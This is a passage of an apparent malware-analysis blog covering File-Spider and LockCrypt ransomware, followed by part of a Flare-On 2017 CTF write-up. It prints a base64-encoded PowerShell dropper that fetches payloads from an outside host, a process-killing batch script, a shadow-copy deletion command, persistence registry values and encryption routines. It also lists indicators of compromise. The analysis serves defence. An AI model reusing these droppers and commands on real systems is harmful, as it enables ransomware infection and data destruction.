eps epsf fh10 fh11 fh3 fh4 fh5 fh6 fh7 fh8 fif fig fmv ft10 ft11 ft7 ft8 ft9 ftn fxg gdraw gem glox hpg hpgl hpl idea igt igx imd vbox vdi ink lmk mgcb mgmf mgmt mt9 mgmx mgtx mmat mat otg ovp ovr pcs pfd pfv pl plt pm vrml pmg pobj ps psid rdl scv sk1 sk2 slddrt snagitstamps snagstyles ssk stn svf svg svgz sxd tlc tne ufr vbr vec vml vsd vsdm vsdx vstm stm vstx wmf wpg vsm vault xar xmind xmmap yal orf ota oti ozb ozj ozt pal pano pap pbm pc1 pc2 pc3 pcd pcx pdd pdn pe4 pef pfi pgf pgm pi1 pi2 pi3 pic pict pix pjpeg pjpg png pni pnm pntg pop pp4 pp5 ppm prw psd psdx pse psp pspbrush ptg ptx pvr px pxr pz3 pza pzp pzs z3d qmg ras rcu rgb rgf ric riff rix rle rli rpf rri rs rsb rsr rw2 rwl s2mv sai sci sep sfc sfera sfw skm sld sob spa spe sph spj spp sr2 srw ste sumo sva save ssfn t2b tb0 tbn tfc tg4 thm thumb tif tiff tjp tm2 tn tpi ufo uga usertile-ms vda vff vpe vst wb1 wbc wbd wbm wbmp wbz wdp webp wpb wpe wvl x3f y ysp zif cdr4 cdr6 cdrw pdf pbd pbl ddoc css pptm raw cpt tga xpm ani flc fb3 fli mng smil mobi swf html xls xlsx csv xlsm ods xhtm 7z m2 rb rar wmo mcmeta m4a itm vfs0 indd sb mpqge fos p7c wmv mcgame db0 p7b vdf DayZProfile p12 d3dbsp ztmp rofl sc2save sis hkx pem dbfv sie sid bar crt sum ncf upk cer wb2 ibank menu das der t13 layout t12 dmp litemod dxg qdf blob asset xf esm forge tax 001 r3d pst pkpass vtf bsa bc6 dazip apk bc7 fpk re4 bkp mlx sav raf qic kf lbf bkf iwd slm xlk sidn vpk bik mrwref xlsb sidd tor epk mddata psk rgss3a itl rim pak w3x big icxs fsh unity3d hvpl ntl wotreplay crw hplg arch00 xxx hkdb lvl desc mdbackup snx py srf odc syncdb cfr m3u gho ff odp cas vpp_pc js dng lrf c cpp cs h bat ps1 php asp java jar class aaf aep aepx plb prel prproj aet ppj indl indt indb inx idml pmd xqx fla as3 as docb xlt xlm xltx xltm xla xlam xll xlw pot pps potx potm ppam ppsx ppsm sldx sldm aif iff m4u mid mpa ra 3gp 3g2 asf asx vob m3u8 mkv dat efx vcf xml ses zip 7zip mp4 3gp webm wmv Directories which are going to be skipped are:\n\u0026ldquo;tmp\u0026rdquo;, \u0026ldquo;Videos\u0026rdquo;, \u0026ldquo;winnt\u0026rdquo;, \u0026ldquo;Application Data\u0026rdquo;, \u0026ldquo;Spider\u0026rdquo;, \u0026ldquo;PrefLogs\u0026rdquo;, \u0026ldquo;Program Files (x86)\u0026rdquo;, \u0026ldquo;Program Files\u0026rdquo;, \u0026ldquo;ProgramData\u0026rdquo;, \u0026ldquo;Temp\u0026rdquo;, \u0026ldquo;Recycle\u0026rdquo;, \u0026ldquo;System Volume Information\u0026rdquo;, \u0026ldquo;Boot\u0026rdquo;, \u0026ldquo;Windows\u0026rdquo;\nEach file is encrypted by the AES CFB algorithm with the same key, which is encrypted by RSA, and random 0x20 bytes of salt.\nThe password and salt are randomly generated.\nThese two are different for each file, so they are prepended to the encrypted file.\nThe first 0x20 bytes are the salt, the next 0x50 bytes are the AES encrypted password and the rest is the encrypted file data.\nAfter the encryption of each file, it will add the full path of the encrypted file to %APPDATA%\\Spider\\files.txt\nIn each directory, it creates an internet shortcut file named \u0026ldquo;HOW TO DECRYPT FILES.url\u0026rdquo; which redirects to hxxps://vid.me/embedded/CGyDc?autoplay=1\u0026amp;stats=1. It\u0026rsquo;s a video which shows how to remove the ransomware by paying a ransom in Bitcoin to the attacker.\nIt appends .spider extension to each encrypted file.\nDecryptor (dec.exe) :\nMD5: fdd465863a4c44aa678554332d20aee3 [VirusTotal]\nFileName: dec.exe\nFileType: MSIL\nThe dec.exe is executed with a single argument \u0026ldquo;spider\u0026rdquo;.\nIt creates a mutex of name \u0026ldquo;SpiderForm\u0026rdquo; to avoid execution of multiple instances.\nThe argument provided to this must be \u0026ldquo;spider\u0026rdquo; or \u0026ldquo;startup\u0026rdquo; for further execution.\nThen it creates a thread which terminates all the following processes.\n\u0026ldquo;taskmgr\u0026rdquo;, \u0026ldquo;procexp\u0026rdquo;, \u0026ldquo;msconfig\u0026rdquo;, \u0026ldquo;Starter\u0026rdquo;, \u0026ldquo;regedit\u0026rdquo;, \u0026ldquo;cdclt\u0026rdquo;, \u0026ldquo;cmd\u0026rdquo;, \u0026ldquo;OUTLOOK\u0026rdquo;, \u0026ldquo;WINWORD\u0026rdquo;, \u0026ldquo;EXCEL\u0026rdquo;, \u0026ldquo;MSACCESS\u0026rdquo;\nAfter that it makes a run entry (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run) for dec.exe to run it on startup.\nName : \u0026ldquo;Starter\u0026rdquo;\nValue : \u0026ldquo;%APPDATA%\\Spider\\dec.exe startup\u0026rdquo;\nIn the last, it will start the form which contains payment instructions and the decryption tool.\nPayment site of File Spider ransomware is spiderwjzbmsmu7y[.]onion\nIOCs :\nMS word document : de7b31517d5963aefe70860d83ce83b9\nEncrypted enc.exe : hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js\nEncrypted dec.exe : hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js\nenc.exe : 67D5ABDA3BE629B820341D1BAAD668E3\ndec.exe : fdd465863a4c44aa678554332d20aee3\nPayment site : spiderwjzbmsmu7y[.]onion\nVideo : hxxps://vid.me/embedded/CGyDc?autoplay=1\u0026amp;stats=1\n","permalink":"https://meltedinhex.com/posts/analysis-of-file-spider-ransomware/","summary":"\u003cp\u003eMD5: de7b31517d5963aefe70860d83ce83b9 [\u003ca href=\"https://www.virustotal.com/#/file/1753cfa7bec8b6044b07823deee14d9ca366c54b42c1c9d4ff045dac2fc112d9/detection\"\u003eVirusTotal\u003c/a\u003e]\u003cbr\u003e\nFileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc\u003cbr\u003e\nFileType: MS Word Document\u003c/p\u003e\n\u003cp\u003eThe Word file has an embedded macro.\u003cbr\u003e\nWhen you look into the macro code, you will find the below snippet.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePrivate Function decodeBase64(ByVal strData As String) As Byte()\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Dim objXML As MSXML2.DOMDocument\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Dim objNode As MSXML2.IXMLDOMElement\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Set objXML = New MSXML2.DOMDocument\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Set objNode = objXML.createElement(\u0026#34;b64\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    objNode.dataType = \u0026#34;bin.base64\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    objNode.Text = strData\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    decodeBase64 = objNode.nodeTypedValue\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Set objNode = Nothing\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Set objXML = Nothing\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eEnd Function\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePrivate Function str() As String\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = \u0026#34;cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = str + \u0026#34;9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0=\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003estr = StrConv(decodeBase64(str), vbUnicode)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eEnd Function\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter Base64 decoding, we will get the following PowerShell script.\u003c/p\u003e","title":"Analysis of File-Spider Ransomware"},{"content":"Introduction:\nAttackers have been recently breaking into corporate servers via RDP brute force attacks to spread a new variant of ransomware called LockCrypt. The attacks first started in June but there was an increase of attacks in October. The victims were asked to pay 0.5 to 1 BTC to recover their server.\nLockCrypt encrypts all files and renames them with a \u0026lsquo;.lock\u0026rsquo; extension. It also installs itself for persistence and deletes backups.\nLet\u0026rsquo;s have a look at the sample.\nMD5 : 12A4388ADE3FAD199631F6A00894104C [VirusTotal] [HybridAnalysis]\nSize : 48128 bytes\nWhen we execute this sample, the following dialog box will appear.\nFig1 : Window after execution of malware\nEnvironment Setup :\nOn execution, first of all it copies itself to C:\\Windows\\bfsvcm.exe\nThen it creates a batch file named w.bat and executes it to kill all the specified processes; this is for antivirus and sandbox evasion.\nYou can see the batch script below.\nSetLocal EnableDelayedExpansion EnableExtensions Set WinTitle=%Random%%Random% Title %WinTitle% For /F \u0026#34;tokens=2 skip=2 delims=,\u0026#34; %%P In (\u0026#39;tasklist /FI \u0026#34;WINDOWTITLE eq %WinTitle%\u0026#34; /FO CSV\u0026#39;) Do (Set MyPID=%%~P) Title %~n0 Set WhiteList=Microsoft.ActiveDirectory.WebServices.exe:cmd.exe:find.exe:conhost.exe:explorer.exe:ctfmon.exe:dllhost.exe:lsass.exe:services.exe:smss.exe:tasklist.exe:winlogon.exe:wmiprvse.exe:msdts.exe:bfsvc.exe:AdapterTroubleshooter.exe:alg.exe:dwm.exe:issch.exe:rundll32.exe:spoolsv.exe:wininit.exe:wmiprvse.exe:wudfhost.exe:taskmgr.exe:rdpclip.exe:logonui.exe:lsm.exe:spoolsv.exe:dwm.exe:dfssvc.exe:csrss.exe:svchost.exe:59F6B4DF10330000_59F6B4E800000000.exe:=5 delims=,\u0026#34; %%p In (\u0026#39;tasklist /FO CSV\u0026#39;) Do (Echo :!ProcList!|Find /I \u0026#34;:%%~p:\u0026#34;\u0026gt;nul||Set ProcList=%%~p:!ProcList!) :Compare For /F \u0026#34;tokens=1,* delims=:\u0026#34; %%C In (\u0026#34;!ProcList!\u0026#34;) Do ( If Not \u0026#34;%%C\u0026#34;==\u0026#34;\u0026#34; ( Echo :!WhiteList!|Find /I \u0026#34;:%%C:\u0026#34;\u0026gt;nul||Call :Kill \u0026#34;%%C\u0026#34; Set ProcList=%%D GoTo Compare ) ) Exit :Kill If \u0026#34;%~1\u0026#34;==\u0026#34;cmd.exe\u0026#34; ( TaskKill /F /FI \u0026#34;PID ne %MyPID%\u0026#34; /FI \u0026#34;IMAGENAME eq cmd.exe\u0026#34; ) Else ( TaskKill /F /IM \u0026#34;%~1\u0026#34; ) del W.bat Exit /B After processes termination, it calls the DialogBoxParamA Windows API.\nIt is abusing the Windows API to execute a malicious procedure.\nYou can see the below code.\nFig2 : DialogBoxParamA function call\nHere we have a callback function for the dialog box, so we will not skip this API.\nLet\u0026rsquo;s look into the callback function.\nHere we have multiple cases; in the first case it is playing with the registry.\nFirst it uses ShellExecute to run the following command to delete backup storage.\n\u0026ldquo;vssadmin delete shadows /all\u0026rdquo;\nAfter that it creates a \u0026ldquo;Hacked\u0026rdquo; subkey in the following registry key.\n\u0026ldquo;SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\u0026rdquo;\nFig3 : Storing victim id in registry\nBy default it initializes the value of \u0026ldquo;Hacked\u0026rdquo; as \u0026ldquo;SfplHinIptOwnboa\u0026rdquo;.\nThis is the unique victim\u0026rsquo;s id and it is very useful in the encryption process; this value is changed and reassigned to the registry later.\nAfter that, it will modify the below subkeys and values of the same registry key.\nLegalNoticeCaption = \u0026ldquo;Attention!!! Your files are encrypted !!!\u0026rdquo;\nLegalNoticeText = \u0026ldquo;To recover files, follow the prompts in the text file \u0026ldquo;Readme\u0026rdquo;\u0026rdquo;\nUserinit = \u0026ldquo;C:\\Windows\\system32\\userinit.exe, C:\\Windows\\bfsvcm.exe\u0026rdquo;\nThis is for displaying a message on the logon screen of the user\u0026rsquo;s system.\nFig4 : Logon screen\nYou can see the registry of my infected system.\nFig5 : Registry of infected system\nEncryption Process :\nAfter the above environment setup, it creates the victim\u0026rsquo;s id and stores it in the \u0026ldquo;Hacked\u0026rdquo; registry mentioned above.\nThe code for creating the unique victim\u0026rsquo;s id is:\nunsigned int sub_401AC7() { unsigned int v0; // eax@1 v0 = dword_40C86F; if ( !dword_40C86F ) { v0 = GetTickCount(); dword_40C86F = v0; } dword_40C86F = 16807 * (v0 % 0x1F31D) - 2836 * (v0 / 0x1F31D); return dword_40C86F % 0x64u; } After creating and assigning the id to the registry, the ransomware will send the base64 encoded victim information to the command and control server.\nFig6 : Packet sent to C2 server\nThe IP address of the server is 46.32.17[.]222 and the format of the information sent to the server is:\nVictim_ID | Operating_System | System | Malware_Location\nWhen the server gets this information, it sends huge data in response.\nFig7 : Server response after getting victim\u0026rsquo;s info\nThis data is unique and depends on the victim\u0026rsquo;s information, and it plays a major role in the encryption process.\nThe encryption algorithm is very simple; it just does XOR and byte swapping of file data with the data received from the server.\nYou can see the encryption algorithm used by this ransomware below.\nunsigned __int32 __stdcall sub_401865(int a1, unsigned int a2) { int v2; // ecx@1 int v3; // edx@1 int v4; // ebx@1 int v5; // esi@1 int v6; // edi@1 unsigned int v7; // ecx@5 int v8; // edx@5 int v9; // ebx@5 int v10; // esi@5 int v11; // edi@5 int v12; // eax@6 unsigned __int32 result; // eax@6 v2 = 2 * (a2 \u0026gt;\u0026gt; 2); v3 = dword_40D83C; v4 = dword_40D5B0 + dword_40D83C; v5 = a1; v6 = a1; do { *(_DWORD *)v6 = *(_DWORD *)v3 ^ *(_DWORD *)v5; v5 += 2; v6 += 2; v3 += 4; if ( v3 == v4 ) v3 = dword_40D83C; --v2; } while ( v2 ); v7 = a2 \u0026gt;\u0026gt; 2; v8 = dword_40D83C; v9 = dword_40D5B0 + dword_40D83C; v10 = a1; v11 = a1; do { v12 = *(_DWORD *)v10; v10 += 4; v12 = __ROL4__(v12, 5); result = _byteswap_ulong(*(_DWORD *)v8 ^ v12); *(_DWORD *)v11 = result; v11 += 4; v8 += 4; if ( v8 == v9 ) v8 = dword_40D83C; --v7; } while ( v7 ); return result; } It is very hard to make a decryption tool for this ransomware because the data changes as per the victim id and also we don\u0026rsquo;t know the server-side algorithm.\nIt skips the first 4 bytes and last 6 bytes of every file and encrypts the rest of the data.\nAfter the encryption, it will rename each file in the following format.\nFile extension : [base64 of filename] ID [Victim ID].lock\nIt drops ReadMe.TxT in C:\\ which is a ransom note, and makes a run entry for the same to execute it on startup.\nMicrosoft Windows Operating System = \u0026ldquo;C:\\Windows\\notepad.exe C:\\ReadMe.TxT\u0026rdquo;\nFig8 : Ransom note (ReadMe.TxT)\nIOCs :\nHash : 1df3d4da1ef11373966f54a6d67c38a223229f272438e1c6ec7cb4c1ea3ff3e2\nCnC : 46.32.17[.]222\nEmail : enigmax_x@aol[.]com and enigmax_x@bitmessage[.]ch\n","permalink":"https://meltedinhex.com/posts/analysis-of-lockcrypt-ransomware/","summary":"\u003cp\u003e\u003cstrong\u003eIntroduction:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eAttackers have been recently breaking into corporate servers via RDP brute force attacks to spread a new variant of ransomware called LockCrypt. The attacks first started in June but there was an increase of attacks in October. The victims were asked to pay 0.5 to 1 BTC to recover their server.\u003cbr\u003e\nLockCrypt encrypts all files and renames them with a \u0026lsquo;.lock\u0026rsquo; extension. It also installs itself for persistence and deletes backups.\u003c/p\u003e","title":"Analysis of LockCrypt ransomware"},{"content":"Flare-On is an annual CTF-style challenge organized by FireEye with a focus on reverse engineering.\nOverall, there were 12 challenges to complete. Instead of a detailed write-up, I am just covering the important parts.\nFollowing are the instructions to solve these challenges:\nAnalyse the sample and find the key Each key looks like an email address and ends with @flare-on.com Enter the key for each challenge in the Flare-On CTF app to unlock the next challenge Complete all the puzzles and win a prize Flare-On 2017 challenges - download\nPassword - flare\nChallenge 1 : Login.html\nThe first challenge was very simple. There is an HTML file having a text input form. We need to provide the flag to check for its correctness.\nHere is the content of login.html\n\u0026lt;!DOCTYPE Html /\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;FLARE On 2017\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;flag\u0026#34; id=\u0026#34;flag\u0026#34; value=\u0026#34;Enter the flag\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;button\u0026#34; id=\u0026#34;prompt\u0026#34; value=\u0026#34;Click to check the flag\u0026#34; /\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; document.getElementById(\u0026#34;prompt\u0026#34;).onclick = function () { var flag = document.getElementById(\u0026#34;flag\u0026#34;).value; var rotFlag = flag.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c \u0026lt;= \u0026#34;Z\u0026#34; ? 90 : 122) \u0026gt;= (c = c.charCodeAt(0) + 13) ? c : c - 26);}); if (\u0026#34;PyvragFvqrYbtvafNerRnfl@syner-ba.pbz\u0026#34; == rotFlag) { alert(\u0026#34;Correct flag!\u0026#34;); } else { alert(\u0026#34;Incorrect flag, rot again\u0026#34;); } } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; By looking at c.charCodeAt(0) + 13 we can say that it is the algorithm for ROT-13.\nIt is taking the input, performs ROT-13 and compares it with \u0026ldquo;PyvragFvqrYbtvafNerRnfl@syner-ba.pbz\u0026rdquo;.\nSo, we can say our key is encoded with ROT-13.\nTo decode this, we can use online converter. Just put the encoded key in the ROT13 section, and you will get the decoded key.\nKey : ClientSideLoginsAreEasy@flare-on.com\nChallenge 2 : IgniteMe.exe\nThis is a crackme challenge. It is a command line tool, takes an input from the user and checks whether it is correct or not.\nIn the function 401050, you can see where the input is processed by a XOR loop.\nThe XOR key is hardcoded, which is 0x4. This function XORs the input data with 0x4 in reverse order and compares it against the hardcoded encrypted data.\nSo, we have the encrypted data and encryption key, and we know the algorithm.\nHere is the python script to get the key.\nenc = bytearray.fromhex(\u0026#34;000D2649452A1778442B6C5D5E45122F172B446F6E56095F454773260A0D1317484201404D0C0269\u0026#34;) key = 0x4 out = \u0026#34;\u0026#34; for i in range(len(enc)-1, 0, -1): out += chr(enc[i] ^ key) key = enc[i] ^ key print out print out[::-1] Key : R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com\nChallenge 3 : greek_to_me.exe\nThe executable will start a listening socket on port 2222 and wait to receive data in a small buffer.\nWhen you reverse engineer the binary, you will see the buffer is transferred to an 8-bit register, which means the input is an ASCII character ranging from 0x0 to 0xff.\nWith the help of this character it performs some operation on data at 0x40107c.\nYou can see the code at 0x401029.\nTo decrypt the data properly we need the correct input character.\nWe have to create a client for this binary, brute-force the input from 0 to 0xff and print the output.\nHere I have implemented the below client in python.\nimport os import socket import subprocess HOST = \u0026#39;localhost\u0026#39; PORT = 2222 ADDR = (HOST,PORT) BUFSIZE = 4 for byte in range(0xff): subprocess.Popen(r\u0026#34;C:\\Users\\IEUser\\Desktop\\script\\greek_to_me.exe\u0026#34;) bytes = chr(byte) print hex(byte) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(ADDR) client.send(bytes) while True: data = client.recv(100) if not data: break print data client.close() If the byte is correct we will get the output like \u0026ldquo;Congratulations! But wait, where\u0026rsquo;,27h,\u0026rsquo;s my flag?\u0026rdquo;.\nWe will get this message at byte 0xa2; so our final byte is 0xa2.\nNow, we have the data at 0x40107c, we have the XOR key 0xa2 and we know the operations.\nSo, I have written below python code to get the key.\ndata = bytearray.fromhex(\u0026#34;33E1C49911068116F0329FC49117068114F0068115F1C4911A06811BE2068118F2068119F106811EF0C4991FC4911C06811DE6068162EF068163F2068160E3C49961068166BC068167E6068164E80681659D06816AF2C4996B068168A9068169EF06816EEE06816FAE06816CE306816DEF068172E90681737C\u0026#34;) for key in range(1, 0xff): data1 = bytearray(0x80) for i in range(len(data)): print data[i] print key data1[i] = data[i] ^ key data1[i] = data1[i] + 0x22 print data1 Key = et_tu_brute_force@flare-on.com\nChallenge 4 : notepad.exe\nThis binary is an infected notepad.exe which is patched with some other code.\nAt the start, it searches for the files in \u0026ldquo;%USERPROFILE%/flareon2016challenge\u0026rdquo; directory.\nThis was the hint; we need Flare-On 2016 binaries to solve this challenge.\nThe loop at 0x1014EAD performs a lookup in the directory and calls the function at 0x1014E20 when a file is found.\nThis loop checks the executable files in the directory, takes the timedatestamp of the file and compares it to a hardcoded timedatestamp. If these two values are the same, then the below two functions are called successively.\nFunction at 0x1014350: It will format the timestamp of the mapped file and display it through MessageBox. Function at 0x1014BAC: It will open a file key.bin in the flareon2015challenge directory and write 8 bytes from some offset of the mapped file. Look at the pseudo code of function2.\nIt is comparing the timestamp of a file with a hardcoded value.\nSo if you check the timestamps of the first 4 challenges of Flare-On 2016, you will get the idea.\nJust put those 4 files in the directory and tweak notepad.exe to update its timestamp.\nAfter 4 executions we get the key.bin properly filled.\nWhen you update notepad.exe with the last timestamp, you get the key.\nKey : bl457_fr0m_th3_p457@flare-on.com\nChallenge 5 : pewpewboat.exe\nIt is not a PE file but an x64 ELF file, a hidden ship game.\nAn 8x8 grid is provided; some of the cells have a ship hidden.\nThe task is to complete all the levels.\nWhen you execute the file you will see the below screen.\nLoading first pew pew map... 1 2 3 4 5 6 7 8 _________________ A |_|_|_|_|_|_|_|_| B |_|_|_|_|_|_|_|_| C |_|_|_|_|_|_|_|_| D |_|_|_|_|_|_|_|_| E |_|_|_|_|_|_|_|_| F |_|_|_|_|_|_|_|_| G |_|_|_|_|_|_|_|_| H |_|_|_|_|_|_|_|_| Rank: Seaman Recruit Welcome to pewpewboat! We just loaded a pew pew map, start shootin\u0026#39;! Enter a coordinate: We just have to enter the right coordinate and make some letters.\nYou can take a snapshot after completion of a level, because we have limited shots and if we lose we have to start from the beginning.\nHere are the sequences of characters that I found.\nFHGUZREJVO\n1 2 3 4 5 6 7 8 A |_|_|_|_|_|_|_|_| B |_|X|X|X|X|X|_|_| C |_|_|_|X|_|_|_|_| D |_|_|_|X|_|_|_|_| E |_|_|_|X|_|_|_|_| F |X|_|_|X|_|_|_|_| G |_|X|X|_|_|_|_|_| H |_|_|_|_|_|_|_|_| On completing all the levels, it displays the following message.\nAye! You found some letters did ya? To find what you\u0026rsquo;re looking for, you\u0026rsquo;ll want to re-order them: 9, 1, 2, 7, 3, 5, 6, 5, 8, 0, 2, 3, 5, 6, 1, 4. Next you let 13 ROT in the sea! THE FINAL SECRET CAN BE FOUND WITH ONLY THE UPPER CASE.\nAs given in the message, we ROT-13 the letters and we get BUTWHEREISTHERUM.\nProviding this to the application, we can get the key.\nKey : y0u__sUnK_mY__P3Wp3w_b04t@flare-on.com\nChallenge 6 : payload.dll\nThis DLL has only one export function named EntryPoint.\nWhen we execute this function using rundll32, we get the below message box.\nHere is the hint; we have to provide some argument to this DLL.\nLet\u0026rsquo;s have a look at the code of the export function.\nThe loop at 0x180005B05 is like strcmp() comparing arg1 to the value from the DLL.\nWhen you break at this location, we can get the value to which our argument is compared.\nThe argument is compared with \u0026ldquo;orphanedirreproducibleconfidence\u0026rdquo;. Let\u0026rsquo;s change the argument value and make this condition satisfied.\nSo in the last it shows a message box with the key part of 1 byte.\nNow let\u0026rsquo;s go back in reverse, to where this argument value is coming from.\nThe answer is in the function at 0x180005D30; let\u0026rsquo;s check the pseudo code of this function.\nSo, the index 25 is coming from sub_180004760(); it gives the value 25 if executed in September.\nFor the argument value, let\u0026rsquo;s check sub_180005C40()\nint __fastcall sub_180005C40(unsigned int a1) { __int64 v2; // 